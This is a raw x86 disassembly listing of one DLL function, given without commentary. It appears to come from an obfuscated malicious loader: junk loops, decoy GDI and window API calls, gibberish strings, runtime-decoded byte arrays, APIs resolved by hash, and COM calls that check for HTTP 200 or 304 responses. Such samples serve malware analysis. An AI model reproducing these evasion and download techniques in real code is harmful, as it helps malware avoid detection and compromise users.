sub ecx, dword [ebp + eax*4 - 0x1f0]
jne 0x10030c9c
mov eax, ebx
jmp 0x10030c9f
xor eax, eax
inc eax
mov dword [ebp - 0x170], eax
add eax, 9
je 0x10030cbb
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1f0], ebx
je 0x10030cbb
xor edx, edx
inc edx
jmp 0x10030cbd
mov edx, ebx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1f0]
cmp eax, edx
setl cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jle 0x10030c73
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffef
jne 0x10030c52
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x15
jge 0x10030c46
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x1e
jle 0x10030f71
mov dword [ebp - 0x34], 0x18f7
cmp dword [ebp - 0x34], 0x1912
jle 0x10030db5
push ebx
push 0x23f4
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov ecx, ebx
xor esi, esi
mov dword [ebp - 0x18], ecx
inc esi
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov edi, ecx
mov edx, ebx
mov ecx, eax
mov dword [ebp - 0x20], edx
sar edi, cl
mov dword [ebp - 0x24], edi
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x440]
xor eax, edx
or eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10030d64
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x440]
call fcn.10002056
mov edx, dword [ebp - 0x20]
inc edi
cmp edi, 0x10a
jl 0x10030d45
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0x74a3
jl 0x10030d43
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x27a1
jl 0x10030d35
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x4205
jl 0x10030d30
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x24], 0x3988
cmp dword [ebp - 0x34], 0x1855
jge 0x10030dd0
push str.ytqfpjfmy_dll_lvy_bwjscpcnj_rpwnwa
call fcn.1003a280
pop ecx
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x34], 0x1e19
cmp dword [ebp - 0x34], 0x1fc0
jle 0x10030e2b
mov esi, ebx
mov edi, esi
mov ebx, 0x52c4
mov eax, edi
mov ecx, 0x1006a318
cdq
push edx
push eax
call fcn.10001c75
dec edi
dec ebx
jne 0x10030df0
inc esi
cmp esi, 0x553d
jl 0x10030de9
push 0x1819
push 0x1877
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [ebp - 0x28], ebx
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x34], 0x1b18
jge 0x10030e6b
mov edx, str.xgtnejex_zcednv_vqo_jvrwrplgk_kiojq_dnv_oowvcfieo
mov ecx, 0x1006a318
call fcn.10003644
jmp 0x10030e6b
xor eax, eax
mov dword [ebp - 4], 0xe
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0x7616
cmp dword [ebp - 0x28], 0x7738
jle 0x10030f05
xor esi, esi
mov dword [ebp - 0x40], ebx
inc esi
mov eax, ebx
mov dword [ebp - 0x18], 0xef1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], ebx
mov edi, eax
mov dword [ebp - 0x34], 0x324a
mov eax, edi
lea ecx, [ebp - 0x3e0]
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10030ec0
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x3e0]
call fcn.10002056
mov eax, dword [ebp - 0x30]
add edi, eax
dec dword [ebp - 0x34]
jne 0x10030ea6
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x7eb1
mov eax, dword [ebp - 0x20]
jl 0x10030e9d
mov ecx, dword [ebp - 0x40]
add eax, ecx
dec dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
jne 0x10030e9a
inc ecx
mov dword [ebp - 0x40], ecx
cmp ecx, 0x2620
jl 0x10030e8e
mov dword [ebp - 0x38], ebx
jmp 0x10030f1b
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x170], 0x63832542
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10030f0a
cmp dword [ebp - 0x28], 0x729f
jge 0x10030f34
push str.passvvr_prnkutkmj_ctxwtleyd_piapxtp_pibzasek_nrvn_abgtaul_qxzukkoqd_ouidutg_umx_lkvr
call fcn.1003a280
pop ecx
xor edx, edx
mov dword [ebp - 4], 0xe
mov eax, dword [ebp - 0x1e8]
inc edx
cmp eax, dword [ebp - 0x24]
jg 0x10030f64
mov eax, dword [ebp - 0x170]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x24]
setle cl
add eax, ecx
cmp eax, 0xe5ff1fc5
mov eax, ebx
jae 0x10030f66
mov eax, edx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x14]
jmp 0x10030cfd
dec dword [ebp - 0x1c]
jmp 0x10030c28
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x4a0]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x14], ebx
jmp 0x10030fa5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x428], 0xdc7555b7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030f94
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x10030fc1
push 0x1176
push ebx
call fcn.1002f50b
pop ecx
pop ecx
mov dword [ebp - 0x20], 0xfffffff3
jmp 0x10031016
mov dword [ebp - 0x24], 0x72fd
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x14], ebx
jmp 0x10030ff1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x310], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10030fe4
lea eax, [ebp - 0x59]
mov byte [ebp - 0x59], bl
push eax
push ecx
mov edx, 0x13bd
mov cl, 1
call fcn.1002f31a
inc dword [ebp - 0x308]
inc dword [ebp - 0x20]
pop ecx
pop ecx
cmp dword [ebp - 0x20], 0xfffffffb
jg 0x10030fca
push 1
push ecx
lea eax, [ebp - 0x51]
mov dword [ebp - 0x1f4], 0xd5e48d32
mov byte [ebp - 0x51], bl
mov edx, 0x3ad9
push eax
call fcn.1002f358
mov dword [ebp - 0x30], 0xaba
add esp, 0xc
cmp dword [ebp - 0x30], 0xbdb
jle 0x100310bb
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0x22e9
mov edi, ebx
mov dword [ebp - 0x24], 0x1abb
mov esi, edi
mov ebx, 0x6f71
mov eax, esi
mov ecx, 0x1006a318
cdq
push edx
push eax
call fcn.10001c75
inc esi
dec ebx
jne 0x1003106a
mov eax, dword [ebp - 0x28]
add edi, eax
dec dword [ebp - 0x24]
jne 0x10031063
mov ecx, dword [ebp - 0x34]
add eax, ecx
dec dword [ebp - 0x40]
mov dword [ebp - 0x28], eax
jne 0x1003105a
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x68b
jl 0x10031050
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push ebx
push 0x437
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
lea eax, [ebp - 0x1f4]
push eax
push 1
call fcn.1002f50b
pop ecx
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x30], 0x895
pop ecx
jge 0x10031105
mov edx, str.mxsvv_ixgr_csc_zxa_fvsa_tsg_ohi_elbeuet_bcnqbjmcc_lrgumxbeh
mov ecx, 0x1006a318
call fcn.10003644
jmp 0x10031105
mov dword [ebp - 4], 0xe
xor eax, eax
inc eax
mov dword [ebp - 0x110], 0x91aea0a
push 0x39
mov byte [ebp - 0xd2], al
mov ecx, ebx
mov byte [ebp - 0xcc], al
mov byte [ebp - 0xc6], al
mov byte [ebp - 0xc1], al
pop eax
push 2
mov dword [ebp - 0x10c], 0x72247606
mov dword [ebp - 0x108], 0x6e13771b
mov dword [ebp - 0x104], 0x750b1b08
mov byte [ebp - 0x100], bl
mov dword [ebp - 0xff], 0x193f1138
mov dword [ebp - 0xfb], 0xbf70474
mov dword [ebp - 0xf7], 0x4d25b1a2
mov dword [ebp - 0xf3], 0x2104e15
mov dword [ebp - 0xef], 0x701e0702
mov dword [ebp - 0xeb], 0x72050422
mov dword [ebp - 0xe7], 0x1a0c1d09
mov dword [ebp - 0xe3], 0x69187303
mov dword [ebp - 0xdf], 0x711d6817
mov dword [ebp - 0xdb], 0x140e0d04
mov dword [ebp - 0xd7], 0x70166f14
mov byte [ebp - 0xd3], 0x12
mov byte [ebp - 0xd1], 0xd
mov byte [ebp - 0xd0], bl
mov word [ebp - 0xcf], 0x321
mov byte [ebp - 0xcd], 0xf
mov dword [ebp - 0xcb], 0x721c7323
mov byte [ebp - 0xc7], 7
mov word [ebp - 0xc5], 0x820
mov byte [ebp - 0xc3], 0x1f
mov byte [ebp - 0xc2], bl
mov byte [ebp - 0xc0], 0x7f
mov word [ebp - 0x4dc], ax
pop esi
cmp esi, 0x16
jne 0x10031231
push 5
pop ecx
push 0x19
pop esi
jmp 0x10031267
movzx edx, byte [ebp + esi - 0x10f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x112]
movzx eax, word [ebp + eax*2 - 0x4f0]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x110]
mov word [ebp + eax*2 - 0x4f0], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x51
jb 0x10031224
xor eax, eax
mov word [ebp - 0x4a4], ax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], 0xfffffffe
cmp dword [ebp - 0x20], 0x10
jne 0x100312b5
xor ebx, ebx
inc ebx
push ebx
push 0x32a5
push 0x4e79
push ebx
mov dl, bl
mov ecx, 0x5cbe
call fcn.1002f567
add esp, 0x10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x10
je 0x1003128f
xor ebx, ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xfffffff3
jne 0x10031402
xor ecx, ecx
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x100312e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x218], 0x250e6da5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100312d1
mov byte [ebp - 0x29], bl
mov dword [ebp - 0x28], 0x12ab
cmp dword [ebp - 0x28], 0x14b4
jle 0x1003138a
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
cdq
mov edi, ebx
idiv esi
mov esi, dword [ebp - 0x1c]
mov eax, edx
mov dword [ebp - 0x40], eax
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x3f8]
and eax, esi
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031336
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10002056
mov eax, dword [ebp - 0x40]
inc edi
cmp edi, 0xc27
jl 0x10031318
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0xba6
jl 0x1003130b
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0xd9a
jl 0x10031306
mov ecx, dword [ebp - 0x1c]
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x481d
jl 0x10031301
xor ecx, ecx
inc ecx
cmp byte [ebp - 0x29], 0
je 0x10031397
push ecx
call fcn.1002f5d3
pop ecx
cmp dword [ebp - 0x28], 0x10a3
jge 0x100313ab
push str.ggp_keiwvml_nalckok_qqrjl_qmvckerya_mldnuvhdb_agl_ezuiex
call fcn.1003a280
pop ecx
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x100313fa
mov dword [ebp - 0x14], 0xc9e53e58
mov dword [ebp - 0x14], ebx
jmp 0x100313f0
mov dword [ebp - 0x24], 0xfffffffa
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov edx, 0x3d3a
mov eax, dword [ebp + eax*4 - 0x218]
sub ecx, eax
mov dword [ebp - 0x24], ecx
push ecx
mov cl, 1
call fcn.1002f695
inc dword [ebp - 0x14]
pop ecx
cmp dword [ebp - 0x14], ebx
jle 0x100313c6
dec dword [ebp - 0x1c]
jns 0x100313ba
dec dword [ebp - 0x20]
jmp 0x100312b8
xor eax, eax
mov dword [ebp - 0x260], 7
mov word [ebp - 0x274], ax
lea ecx, [ebp - 0x274]
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0x264], ebx
push eax
call fcn.100055e3
mov byte [ebp - 4], 0x19
lea edi, [ebp - 0x4f0]
push 0x13
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x1c], 0xb064bae0
mov dword [ebp - 0x40], 0x14b7
cmp dword [ebp - 0x40], 0x176a
jle 0x100314d1
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov ecx, eax
mov dword [ebp - 0x24], 0x5f0d
mov dword [ebp - 0x14], ecx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
xor eax, ecx
lea ecx, [ebp - 0x3b0]
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031490
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10002056
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x2622
jl 0x10031473
inc edi
cmp edi, 0xa90
jl 0x10031471
dec ecx
dec dword [ebp - 0x24]
mov dword [ebp - 0x14], ecx
jne 0x1003146f
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x7153
jl 0x10031463
mov dword [ebp - 0x34], 0x2657
cmp dword [ebp - 0x40], 0x1187
jge 0x100314ec
push str.priiyezha_tlk_hkwcz_nhps_xepngcb_lkrgadbtc_lwypglh_fqxcpy_jlfc_ukx_xen_xaqv_uolpjnztt_mrnxxm
call fcn.1003a280
pop ecx
xor ecx, ecx
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x10031509
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], 0x2ba75a59
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100314fb
mov dword [ebp - 0x14], ebx
jmp 0x10031648
mov dword [ebp - 0x18], 0xdc7555b7
mov dword [ebp - 0x20], ebx
jmp 0x10031530
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x70], 0x57e8b72f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10031522
mov dword [ebp - 0x18], ebx
jmp 0x1003158a
mov dword [ebp - 0x24], 0xf8b8ae50
mov dword [ebp - 0x28], 0xb641b44a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x70], ecx
xor ecx, ecx
mov dword [ebp - 0x24], 0x34b6
inc ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x28], ecx
jle 0x10031582
mov eax, ebx
cmp dword [ebp - 0x70], ebx
je 0x10031584
mov eax, ecx
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003153a
mov dword [ebp - 0x18], ebx
jmp 0x1003163c
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x28], 0xeb4983ca
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x58], ebx
je 0x10031626
mov eax, dword [ebp - 0x34]
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, 7
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x24], eax
je 0x100315cc
mov esi, ecx
cmp dword [ebp - 0x70], ebx
jne 0x100315ce
mov esi, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x58]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, esi
setne dl
sub edx, 0xe630971c
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp + eax*4 - 0x58]
jl 0x1003160a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x58], ebx
jne 0x1003160a
xor ecx, ecx
mov edx, ebx
inc ecx
jmp 0x1003160f
xor ecx, ecx
inc ecx
mov edx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x58], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x58]
cmp eax, dword [ebp - 0x28]
jge 0x10031626
mov edx, ecx
jmp 0x1003162b
xor ecx, ecx
mov edx, ebx
inc ecx
xor eax, eax
cmp edx, 0x4a6e8f59
setne al
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10031597
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x10031516
cmp dword [ebp - 0x248], 8
lea ecx, [ebp - 0x358]
push ecx
lea eax, [ebp - 0x25c]
mov esi, 0xab9c
cmovae eax, dword [ebp - 0x25c]
push eax
push 0x1435b
push esi
call fcn.1002056d
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10031b11
cmp dword [ebp - 0x260], 8
lea ecx, [ebp - 0x368]
push ecx
lea eax, [ebp - 0x274]
cmovae eax, dword [ebp - 0x274]
push eax
push 0x1435b
push esi
call fcn.1002056d
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10031b11
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x358]
push eax
push 3
push ebx
lea eax, [ebp - 0x368]
push eax
push 0x1435b
push 0x15726
call fcn.1002056d
pop ecx
pop ecx
call eax
test eax, eax
js 0x10031b11
cmp dword [ebp - 0x44], 0
je 0x10031b11
xor edx, edx
lea eax, [ebp - 0x2f0]
inc edx
push edx
push ecx
push eax
mov ecx, 0x42d3
call fcn.1002f1b1
add esp, 0xc
mov byte [ebp - 0x7c], dl
xor eax, eax
mov dword [ebp - 0x7b], 0x31102d1
mov word [ebp - 0x2e8], ax
mov ecx, ebx
mov byte [ebp - 0x77], 0x7e
push 0x65
pop eax
push 2
mov byte [ebp - 0x76], bl
mov byte [ebp - 0x75], 0x5f
mov byte [ebp - 0x74], bl
mov byte [ebp - 0x73], 0x33
mov word [ebp - 0x18e], ax
pop esi
mov dword [ebp - 0x184], ecx
cmp esi, 4
jne 0x1003175b
push esi
pop ecx
push 6
mov dword [ebp - 0x184], ecx
pop esi
jmp 0x100317ad
movzx edx, byte [ebp + esi - 0x7b]
mov eax, esi
sub eax, ecx
push ebx
push 0x527
push 0xe31
movzx eax, byte [ebp + eax - 0x7e]
movzx ecx, word [ebp + eax*2 - 0x190]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
add ecx, edx
mov word [ebp + eax*2 - 0x190], cx
xor eax, eax
inc eax
lea ecx, [ebp - 0x184]
push eax
mov dl, al
call fcn.1002f567
mov ecx, dword [ebp - 0x184]
add esp, 0x10
add esi, 2
cmp esi, 0xa
jb 0x10031749
xor eax, eax
mov dword [ebp - 0x1c4], 7
mov word [ebp - 0x18a], ax
lea ecx, [ebp - 0x1d8]
mov word [ebp - 0x1d8], ax
lea eax, [ebp - 0x190]
push eax
mov dword [ebp - 0x1c8], ebx
call fcn.100055e3
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1d8]
cmp dword [ebp - 0x1c4], 8
mov eax, dword [ebp - 0x1c8]
cmovae ecx, dword [ebp - 0x1d8]
push dword [ebp - 0x174]
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x210], ebx
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x20c], ebx
cmovae ecx, dword [ebp - 0x1d8]
push eax
push ecx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x208], ebx
call fcn.1002e562
push ebx
push 0x5d83
push ecx
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0x1d
push eax
push ecx
push ecx
mov ecx, 0x5d6f
call fcn.1002f93a
mov edx, dword [ebp - 0x6c]
add esp, 0x18
cmp dword [edx + 0x14], 8
jb 0x10031874
mov ecx, dword [edx]
jmp 0x10031876
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10031884
mov edx, dword [edx]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1e4], ebx
push eax
push edx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
call fcn.1002e562
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x220], ebx
call fcn.1002ddaf
cmp dword [ebp - 0x1c4], 8
lea edx, [ebp - 0x1d8]
lea esi, [ebp - 0x2c0]
mov eax, dword [ebp - 0x44]
cmovae edx, dword [ebp - 0x1d8]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2c0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2f0]
push dword [ebp - 0x1e4]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10031ada
mov esi, dword [ebp - 0x1ac]
mov cl, 1
mov dword [ebp - 0x16c], ebx
cmp esi, dword [ebp - 0x1a8]
je 0x1003197e
add esi, 0x18
test cl, cl
je 0x10031966
cmp dword [esi + 0x14], 8
jb 0x10031945
mov edi, dword [esi]
jmp 0x10031947
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10031952
mov edx, dword [esi - 0x18]
jmp 0x10031955
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x44]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10031968
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1a8]
jne 0x10031937
test cl, cl
je 0x10031ada
mov eax, dword [ebp - 0x44]
lea esi, [ebp - 0x2c0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10031ada
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x16c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10031ada
cmp dword [ebp - 0x16c], 0x130
je 0x100319d2
cmp dword [ebp - 0x16c], 0xc8
jne 0x10031ada
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x340]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10031ada
mov edi, dword [ebp - 0x338]
mov dword [ebp - 0x21c], edi
test edi, edi
je 0x10031ada
lea eax, [ebp - 0x44]
mov cl, 1
push eax
call fcn.1002fc86
pop ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x44], ebx
call fcn.1000fdd6
lea ecx, [ebp - 0x210]
call fcn.1000fdd6
push ebx
push 1
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x19
call fcn.10005a02
push 0x1435b
push 0xe6fd
call fcn.1002056d
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x1c0]
push eax
call fcn.10031cbb
push ebx
push 1
lea ecx, [ebp - 0x274]
call fcn.10005a02
push ebx
push 1
lea ecx, [ebp - 0x25c]
call fcn.10005a02
lea ecx, [ebp - 0x1ac]
call fcn.1002de09
lea ecx, [ebp - 0x1c0]
call fcn.1002e06a
lea ecx, [ebp + 8]
call fcn.1002de09
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret